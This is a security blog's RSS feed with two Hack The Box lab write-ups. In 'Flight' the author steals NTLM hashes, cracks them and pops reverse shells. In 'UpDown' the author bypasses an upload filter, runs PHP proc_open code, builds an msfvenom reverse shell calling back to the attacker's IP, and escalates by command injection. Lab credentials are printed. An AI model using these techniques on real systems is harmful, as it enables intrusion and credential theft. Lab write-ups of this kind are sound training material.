<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[walu.la - Spaghetti Security]]></title><description><![CDATA[A blog. Writeups / Experiments / Researches / Everything Hacking]]></description><link>https://walu.la/</link><image><url>https://walu.la/favicon.png</url><title>walu.la - Spaghetti Security</title><link>https://walu.la/</link></image><generator>Ghost 5.47</generator><lastBuildDate>Wed, 01 Apr 2026 18:29:40 GMT</lastBuildDate><atom:link href="https://walu.la/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[HTB Writeup - Flight]]></title><description><![CDATA[<p>As usual we start with Nmap:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image.png" class="kg-image" alt loading="lazy" width="942" height="618" srcset="https://walu.la/content/images/size/w600/2022/12/image.png 600w, https://walu.la/content/images/2022/12/image.png 942w" sizes="(min-width: 720px) 720px"></figure><p>Lots of ports, appears to be a DC.</p><p>After some more additional tests i realize that probably penetrating the box via network attacks is not gonna work:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-1.png" class="kg-image" alt loading="lazy" width="687" height="441" srcset="https://walu.la/content/images/size/w600/2022/12/image-1.png 600w, https://walu.la/content/images/2022/12/image-1.png 687w"><figcaption>Nothing much, even with RPC</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-2.png" class="kg-image" alt loading="lazy" width="649" height="1062" srcset="https://walu.la/content/images/size/w600/2022/12/image-2.png 600w, https://walu.la/content/images/2022/12/image-2.png 649w"><figcaption>SMB Enumeration (1)</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-3.png" class="kg-image" alt loading="lazy" width="608" height="452" srcset="https://walu.la/content/images/size/w600/2022/12/image-3.png 600w, https://walu.la/content/images/2022/12/image-3.png 608w"><figcaption>SMB Enumeration (2)</figcaption></figure><p>I decided to go back to</p>]]></description><link>https://walu.la/htb-writeup-flight/</link><guid isPermaLink="false">6457a67d35b7a21f0717a3e8</guid><dc:creator><![CDATA[Walula]]></dc:creator><pubDate>Sun, 07 May 2023 15:06:02 GMT</pubDate><media:content url="https://walu.la/content/images/2022/12/Flight.png" medium="image"/><content:encoded><![CDATA[<img src="https://walu.la/content/images/2022/12/Flight.png" alt="HTB Writeup - Flight"><p>As usual we start with Nmap:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="942" height="618" srcset="https://walu.la/content/images/size/w600/2022/12/image.png 600w, https://walu.la/content/images/2022/12/image.png 942w" sizes="(min-width: 720px) 720px"></figure><p>Lots of ports, appears to be a DC.</p><p>After some more additional tests i realize that probably penetrating the box via network attacks is not gonna work:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-1.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="687" height="441" srcset="https://walu.la/content/images/size/w600/2022/12/image-1.png 600w, https://walu.la/content/images/2022/12/image-1.png 687w"><figcaption>Nothing much, even with RPC</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-2.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="649" height="1062" srcset="https://walu.la/content/images/size/w600/2022/12/image-2.png 600w, https://walu.la/content/images/2022/12/image-2.png 649w"><figcaption>SMB Enumeration (1)</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-3.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="608" height="452" srcset="https://walu.la/content/images/size/w600/2022/12/image-3.png 600w, https://walu.la/content/images/2022/12/image-3.png 608w"><figcaption>SMB Enumeration (2)</figcaption></figure><p>I decided to go back to Web analysisi, and realized a thing that was probably responsible for many hours of frustration in many different boxes:</p><p>Basically, gobuster, when scanning Virtual Hosts, now needs to be instructed to append the fucking domain with the following flag: </p><pre><code>--append-domain</code></pre><p>And finally:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-4.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="933" height="327" srcset="https://walu.la/content/images/size/w600/2022/12/image-4.png 600w, https://walu.la/content/images/2022/12/image-4.png 933w" sizes="(min-width: 720px) 720px"></figure><p>HOLY FUCKING SHIT IT TOOK SO LONG TO FIND THIS. </p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-5.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="1002" height="728" srcset="https://walu.la/content/images/size/w600/2022/12/image-5.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-5.png 1000w, https://walu.la/content/images/2022/12/image-5.png 1002w" sizes="(min-width: 720px) 720px"></figure><p>Take a look at the URL...</p><p>...hmm, smells like LFI or even RFI</p><p>I wonder if outbound SMB is enabled:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-6.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="2000" height="250" srcset="https://walu.la/content/images/size/w600/2022/12/image-6.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-6.png 1000w, https://walu.la/content/images/size/w1600/2022/12/image-6.png 1600w, https://walu.la/content/images/2022/12/image-6.png 2035w" sizes="(min-width: 720px) 720px"><figcaption>Stealing svc_apache&apos;s NTLM hash</figcaption></figure><p>now we only need to fire up hashcat and hope. But after a while, against all odds, &#xA0;hashcat actually managed to crack it with rockyou:</p><pre><code>sudo hashcat -m 5600 hashes /usr/share/wordlists/rockyou.txt -o crk    
</code></pre><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-7.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="693" height="348" srcset="https://walu.la/content/images/size/w600/2022/12/image-7.png 600w, https://walu.la/content/images/2022/12/image-7.png 693w"></figure><p>We get our first set of credentials:</p><p>usr: SVC_APACHE<br>psw: S@Ss!K@*t13</p><p>running enum4linux again with credentials we get a nice list of domain users:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-8.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="602" height="795" srcset="https://walu.la/content/images/size/w600/2022/12/image-8.png 600w, https://walu.la/content/images/2022/12/image-8.png 602w"><figcaption>User List</figcaption></figure><p>No write permission on network shares, nothing much to do.</p><p>At this point, i guess it&apos;s worth trying a password spray since the lockout threshold is non existent.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-9.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="940" height="362" srcset="https://walu.la/content/images/size/w600/2022/12/image-9.png 600w, https://walu.la/content/images/2022/12/image-9.png 940w" sizes="(min-width: 720px) 720px"></figure><p>We get a hit for the user S.Moon. With this user, we can write to the Shared folder:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-10.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="814" height="245" srcset="https://walu.la/content/images/size/w600/2022/12/image-10.png 600w, https://walu.la/content/images/2022/12/image-10.png 814w" sizes="(min-width: 720px) 720px"></figure><p>After some more enumeration, i figured that the probable next step would be to gather credentials or gain code execution in the context of the &quot;C.Bum&quot; user, which is a senior web developer. Since &quot;S.Moon&quot; is a junior web developer, they probably work together. </p><p>After almost giving up, (wasting days trying to execute some kind of custom php code) i finally stumbled upon the solution...</p><p>It&apos;s all about NTLM hash stealing: If we can write to a folder we can create a custom desktop.ini file that contains all the information regarding icons in the folder. If we put a UNC path as the folder icon, the victim account will look up via SMB the file, thus leaking the hash.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-11.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="471" height="82"></figure><p>Follow <a href="https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds?ref=walu.la#desktop.ini">https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds#desktop.ini</a> </p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-12.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="699" height="245" srcset="https://walu.la/content/images/size/w600/2022/12/image-12.png 600w, https://walu.la/content/images/2022/12/image-12.png 699w"></figure><p>We use the same hashcat command as before</p><pre><code>sudo hashcat -m 5600 hash_bum /usr/share/wordlists/rockyou.txt -o crk 
</code></pre><p>and here we go</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-13.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="854" height="303" srcset="https://walu.la/content/images/size/w600/2022/12/image-13.png 600w, https://walu.la/content/images/2022/12/image-13.png 854w" sizes="(min-width: 720px) 720px"></figure><p>psw: Tikkycoll_431012284</p><p>In all honesty, i didn&apos;t really like this part, you have to assume that C.Bum is going around in the &quot;Shared&quot; network share looking actively at files.</p><p>After some more enumeration with the newly found user, we have write permission for the &quot;Web&quot; share! NOW we can finally upload a revshell in the Web share. </p><p>I used Ivan&apos;s great php reverse shell: <a href="https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php?ref=walu.la">https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php</a></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-14.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="1520" height="724" srcset="https://walu.la/content/images/size/w600/2022/12/image-14.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-14.png 1000w, https://walu.la/content/images/2022/12/image-14.png 1520w" sizes="(min-width: 720px) 720px"><figcaption>finally a shell on target</figcaption></figure><hr><h1 id="privilege-escalation">Privilege Escalation</h1><p>Even though it&apos;s absolutely not obvious there is a hidden local service running on port 8000:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-15.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="1250" height="1002" srcset="https://walu.la/content/images/size/w600/2022/12/image-15.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-15.png 1000w, https://walu.la/content/images/2022/12/image-15.png 1250w" sizes="(min-width: 720px) 720px"></figure><p>It doesn&apos;t appear to be local only since it is bound to the meta-address 0.0.0.0 and not the usual loopback address (127.0.0.1). A quick scan with Nmap from the attacker machine confirms that the port is probably filtered at the firewall level.</p><p>I use Chisel to do some port forwarding action in order to better investigate the service. I bind the victim port 8000 to the attacker port 4444:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-16.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="2000" height="396" srcset="https://walu.la/content/images/size/w600/2022/12/image-16.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-16.png 1000w, https://walu.la/content/images/size/w1600/2022/12/image-16.png 1600w, https://walu.la/content/images/2022/12/image-16.png 2382w" sizes="(min-width: 720px) 720px"><figcaption>Client (victim)</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/12/image-17.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="1478" height="254" srcset="https://walu.la/content/images/size/w600/2022/12/image-17.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-17.png 1000w, https://walu.la/content/images/2022/12/image-17.png 1478w" sizes="(min-width: 720px) 720px"><figcaption>Server (Attacker)</figcaption></figure><p>And here&apos;s the hidden website:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-18.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="2000" height="922" srcset="https://walu.la/content/images/size/w600/2022/12/image-18.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-18.png 1000w, https://walu.la/content/images/size/w1600/2022/12/image-18.png 1600w, https://walu.la/content/images/size/w2400/2022/12/image-18.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>now i can use whatweb to try and get some more infos:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-19.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="1788" height="248" srcset="https://walu.la/content/images/size/w600/2022/12/image-19.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-19.png 1000w, https://walu.la/content/images/size/w1600/2022/12/image-19.png 1600w, https://walu.la/content/images/2022/12/image-19.png 1788w" sizes="(min-width: 720px) 720px"></figure><p>It&apos;s IIS so let&apos;s check out the <strong>C:\inetpub</strong> folder, but we discover that both <strong>svc_apache</strong> and <strong>S.Moon</strong> don&apos;t have permission to write in that folder.</p><p>C.Bum is probably able since he is a Senior Web developer at the company.</p><p>Using this script i execute a netcat + wrapper (MAKE ARTICLE ABOUT CUSTOM NC) as the user c.bum. Basically a wrapper for a RunAs command in powershell:<br><a href="https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1?ref=walu.la">https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1</a></p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-20.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="1996" height="248" srcset="https://walu.la/content/images/size/w600/2022/12/image-20.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-20.png 1000w, https://walu.la/content/images/size/w1600/2022/12/image-20.png 1600w, https://walu.la/content/images/2022/12/image-20.png 1996w" sizes="(min-width: 720px) 720px"></figure><p>and on another shell</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-21.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="774" height="78" srcset="https://walu.la/content/images/size/w600/2022/12/image-21.png 600w, https://walu.la/content/images/2022/12/image-21.png 774w" sizes="(min-width: 720px) 720px"></figure><p>I can confirm that C.Bum can write to the C:\Inetpub\developer folder (which contains the aforementioned website). I upload a shell to &quot;C:\inetpub\development\development&quot; and:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-22.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="1854" height="1634" srcset="https://walu.la/content/images/size/w600/2022/12/image-22.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-22.png 1000w, https://walu.la/content/images/size/w1600/2022/12/image-22.png 1600w, https://walu.la/content/images/2022/12/image-22.png 1854w" sizes="(min-width: 720px) 720px"></figure><p>We are a REAL service account now, whit the ususal service privileges (SeImpersonatePrivilege). Now it&apos;s all about potatoes (after getting a stable shell that is, of course).</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-23.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="2000" height="359" srcset="https://walu.la/content/images/size/w600/2022/12/image-23.png 600w, https://walu.la/content/images/size/w1000/2022/12/image-23.png 1000w, https://walu.la/content/images/size/w1600/2022/12/image-23.png 1600w, https://walu.la/content/images/2022/12/image-23.png 2060w" sizes="(min-width: 720px) 720px"></figure><p>And finally, after a grueling fight, we get a system shell:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/12/image-24.png" class="kg-image" alt="HTB Writeup - Flight" loading="lazy" width="904" height="668" srcset="https://walu.la/content/images/size/w600/2022/12/image-24.png 600w, https://walu.la/content/images/2022/12/image-24.png 904w" sizes="(min-width: 720px) 720px"></figure><p>Fantastic box i must say, some steps were quite trivial but very enjoyable nonetheless.</p>]]></content:encoded></item><item><title><![CDATA[UpDown - HTB Writeup]]></title><description><![CDATA[<p>Start with nmap:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-3.png" class="kg-image" alt loading="lazy" width="1390" height="302" srcset="https://walu.la/content/images/size/w600/2022/11/image-3.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-3.png 1000w, https://walu.la/content/images/2022/11/image-3.png 1390w" sizes="(min-width: 720px) 720px"></figure><p>Only 2 ports, i connect to the website and add the hostname to the /etc/hosts file:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image.png" class="kg-image" alt loading="lazy" width="464" height="125"></figure><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-4.png" class="kg-image" alt loading="lazy" width="1717" height="718" srcset="https://walu.la/content/images/size/w600/2022/11/image-4.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-4.png 1000w, https://walu.la/content/images/size/w1600/2022/11/image-4.png 1600w, https://walu.la/content/images/2022/11/image-4.png 1717w" sizes="(min-width: 720px) 720px"></figure><p>The webapp is just a web-wrapper for a curl command:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-5.png" class="kg-image" alt loading="lazy" width="2000" height="778" srcset="https://walu.la/content/images/size/w600/2022/11/image-5.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-5.png 1000w, https://walu.la/content/images/size/w1600/2022/11/image-5.png 1600w, https://walu.la/content/images/size/w2400/2022/11/image-5.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>The user agent is siteisup.htb, so probably it&apos;s a custom script:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-6.png" class="kg-image" alt loading="lazy" width="599" height="173"></figure><p>It seems that it has some</p>]]></description><link>https://walu.la/updown-htb-writeup-2/</link><guid isPermaLink="false">6457a67d35b7a21f0717a3e7</guid><dc:creator><![CDATA[Walula]]></dc:creator><pubDate>Mon, 19 Dec 2022 17:43:12 GMT</pubDate><media:content url="https://walu.la/content/images/2022/11/UpDown.png" medium="image"/><content:encoded><![CDATA[<img src="https://walu.la/content/images/2022/11/UpDown.png" alt="UpDown - HTB Writeup"><p>Start with nmap:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-3.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1390" height="302" srcset="https://walu.la/content/images/size/w600/2022/11/image-3.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-3.png 1000w, https://walu.la/content/images/2022/11/image-3.png 1390w" sizes="(min-width: 720px) 720px"></figure><p>Only 2 ports, i connect to the website and add the hostname to the /etc/hosts file:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="464" height="125"></figure><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-4.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1717" height="718" srcset="https://walu.la/content/images/size/w600/2022/11/image-4.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-4.png 1000w, https://walu.la/content/images/size/w1600/2022/11/image-4.png 1600w, https://walu.la/content/images/2022/11/image-4.png 1717w" sizes="(min-width: 720px) 720px"></figure><p>The webapp is just a web-wrapper for a curl command:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-5.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="2000" height="778" srcset="https://walu.la/content/images/size/w600/2022/11/image-5.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-5.png 1000w, https://walu.la/content/images/size/w1600/2022/11/image-5.png 1600w, https://walu.la/content/images/size/w2400/2022/11/image-5.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>The user agent is siteisup.htb, so probably it&apos;s a custom script:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-6.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="599" height="173"></figure><p>It seems that it has some filters that prevent injection.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-7.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="728" height="189" srcset="https://walu.la/content/images/size/w600/2022/11/image-7.png 600w, https://walu.la/content/images/2022/11/image-7.png 728w" sizes="(min-width: 720px) 720px"></figure><p>I use gobuster and find the /dev/ folder</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-11.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1390" height="328" srcset="https://walu.la/content/images/size/w600/2022/11/image-11.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-11.png 1000w, https://walu.la/content/images/2022/11/image-11.png 1390w" sizes="(min-width: 720px) 720px"></figure><p>At the same time i find the &quot;dev&quot; subdomain</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-17.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="921" height="261" srcset="https://walu.la/content/images/size/w600/2022/11/image-17.png 600w, https://walu.la/content/images/2022/11/image-17.png 921w" sizes="(min-width: 720px) 720px"></figure><p>Unfotunately the server always answers with the code 403 forbidden for all pages in the subdomain.</p><p>Inside the /dev/ folder there&apos;s a .git folder containing the source code of the application (even though it seems to be an old version of the app):</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-12.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1359" height="360" srcset="https://walu.la/content/images/size/w600/2022/11/image-12.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-12.png 1000w, https://walu.la/content/images/2022/11/image-12.png 1359w" sizes="(min-width: 720px) 720px"></figure><p> I can dump the source code using the awesome GitTools (<a href="https://github.com/internetwache/GitTools?ref=walu.la">https://github.com/internetwache/GitTools</a>) </p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-18.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="658" height="246" srcset="https://walu.la/content/images/size/w600/2022/11/image-18.png 600w, https://walu.la/content/images/2022/11/image-18.png 658w"></figure><p>Inside the .htaccess file i see that a header is required to connect:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-19.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="685" height="126" srcset="https://walu.la/content/images/size/w600/2022/11/image-19.png 600w, https://walu.la/content/images/2022/11/image-19.png 685w"></figure><p>So i add the header with the Firefox extension &quot;<a href="https://addons.mozilla.org/en-US/firefox/addon/modify-header-value/?ref=walu.la">Modify HTTP header values</a>&quot;:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-20.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1534" height="247" srcset="https://walu.la/content/images/size/w600/2022/11/image-20.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-20.png 1000w, https://walu.la/content/images/2022/11/image-20.png 1534w" sizes="(min-width: 720px) 720px"></figure><p>and now i can connect to <u>dev.siteisup.htb</u>:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-21.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1228" height="740" srcset="https://walu.la/content/images/size/w600/2022/11/image-21.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-21.png 1000w, https://walu.la/content/images/2022/11/image-21.png 1228w" sizes="(min-width: 720px) 720px"></figure><p>The development version of this app allows a user to upload a text file containing a list of domains to feed to the application.</p><p>Now looking at the source code for the page <u>checker.php</u> (gathered thanks to the &quot;.git&quot; folder preciously found) we can see the different type of filtering in place and at the same time how the upload function works:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-22.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="737" height="361" srcset="https://walu.la/content/images/size/w600/2022/11/image-22.png 600w, https://walu.la/content/images/2022/11/image-22.png 737w" sizes="(min-width: 720px) 720px"></figure><p>After checking for bad extensions, the php app uploads the file to a temporary directory with the md5 hash of the current time and as expected the /upload folder is browsable:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-23.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="645" height="278" srcset="https://walu.la/content/images/size/w600/2022/11/image-23.png 600w, https://walu.la/content/images/2022/11/image-23.png 645w"></figure><p>While reviewing the code i noticed that the app doesn&apos;t check for &quot;<u>.phar</u>&quot; files. These are valid file that will be interpreted as php code by the webserver.</p><p>Since the applicaton checks with curl every single line of the document i decided to purpusly let hang the curl process in order to have enough time (the timeout time) to browse the uploaded file before it deletes it.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-24.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="497" height="712"></figure><p>A kept open a nc listener on port 80 and submitted the file, the server hangs while waiting for an answer, in the meantime i was able to browse the file!</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-25.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="488" height="229"></figure><p>It works!</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-26.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1268" height="927" srcset="https://walu.la/content/images/size/w600/2022/11/image-26.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-26.png 1000w, https://walu.la/content/images/2022/11/image-26.png 1268w" sizes="(min-width: 720px) 720px"></figure><p>After further analysis, i discovered that basically the majority of interesting function was disabled except <strong>proc_open</strong>.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-29.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="935" height="177" srcset="https://walu.la/content/images/size/w600/2022/11/image-29.png 600w, https://walu.la/content/images/2022/11/image-29.png 935w" sizes="(min-width: 720px) 720px"></figure><p>I had some issues executing code with <u>proc_open</u> since the basic examples from hacktricks miss some &quot;pipe-management features&quot; so i built them myself:</p><pre><code class="language-php">&lt;?php

$cwd=&apos;/tmp&apos;;
$descriptorspec = array(
    0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),
    1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),
    2 =&gt; array(&quot;file&quot;, &quot;/tmp/error-output.txt&quot;, &quot;a&quot;) );
$process = proc_open(&quot;ping -c 10.10.16.3&quot;, $descriptorspec, $pipes, $cwd);

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);

?&gt;</code></pre><p>and sure enough i got some ping hits:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-30.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1446" height="366" srcset="https://walu.la/content/images/size/w600/2022/11/image-30.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-30.png 1000w, https://walu.la/content/images/2022/11/image-30.png 1446w" sizes="(min-width: 720px) 720px"></figure><p>Next i simply used msfvenom to generate an ELF reverse shell.<br>I uploaded it, executed it and achieved RCE:</p><pre><code>msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=4454 -f elf &gt; rev_shell.elf </code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/11/image-31.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="492" height="553"><figcaption>Load the gun</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/11/image-32.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="481" height="480"><figcaption>Cock it</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/11/image-33.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="366" height="43"><figcaption>FIRE!</figcaption></figure><p>Of course with each execution i had to stop the process with the nc listener (as done above). </p><p>It&apos;s ugly but it works, i&apos;m aware that i could have built a better command to achieve the same thing in a single POST request.<br>But at last, a foothold:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-34.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="575" height="186"></figure><p>inside the <u>/home/developer</u> folder there is a binary file with the SUID bit set:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-35.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="675" height="131" srcset="https://walu.la/content/images/size/w600/2022/11/image-35.png 600w, https://walu.la/content/images/2022/11/image-35.png 675w"></figure><p>This application appears to be a wrapper for the python app. The python app is just a CLI version of the website:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-36.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="604" height="201" srcset="https://walu.la/content/images/size/w600/2022/11/image-36.png 600w, https://walu.la/content/images/2022/11/image-36.png 604w"></figure><p>Some basic injection tests revealed that the app is vulnerable to python command injection:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-37.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1253" height="432" srcset="https://walu.la/content/images/size/w600/2022/11/image-37.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-37.png 1000w, https://walu.la/content/images/2022/11/image-37.png 1253w" sizes="(min-width: 720px) 720px"></figure><p>I can reuse the same port as before and spawn a shell with UID 1002 (developer):</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-38.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="1894" height="139" srcset="https://walu.la/content/images/size/w600/2022/11/image-38.png 600w, https://walu.la/content/images/size/w1000/2022/11/image-38.png 1000w, https://walu.la/content/images/size/w1600/2022/11/image-38.png 1600w, https://walu.la/content/images/2022/11/image-38.png 1894w" sizes="(min-width: 720px) 720px"></figure><p>At this point i can read the id_rsa file of the user developer:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-39.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="578" 